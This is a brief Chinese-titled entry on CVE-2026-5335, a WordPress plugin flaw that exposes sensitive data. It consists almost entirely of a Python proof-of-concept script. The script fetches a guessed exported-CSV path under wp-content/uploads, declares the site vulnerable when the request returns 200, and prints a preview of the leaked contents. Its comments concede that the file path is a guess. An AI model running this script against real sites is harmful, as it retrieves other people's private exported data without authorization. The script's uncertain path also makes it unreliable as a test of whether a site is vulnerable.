CVE-2026-5335 WordPress插件敏感信息泄露

import requests def check_cve_2026_5335(base_url): # Predictable path for exported CSV files in vulnerable versions # The exact path might vary, but usually resides in uploads # Example path based on common plugin behavior target_url = f"{base_url}/wp-content/uploads/magic-export-export.csv" # Note: Actual path may require directory enumeration or specific timestamp guessing try: response = requests.get(target_url, timeout=5) if response.status_code == 200: print(f"[+] Vulnerable! Sensitive data leaked at: {target_url}") print(f"[+] Content preview: {response.text[:100]}") else: print(f"[-] Not detected or fixed. Status code: {response.status_code}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target_site = "http://example.com" check_cve_2026_5335(target_site)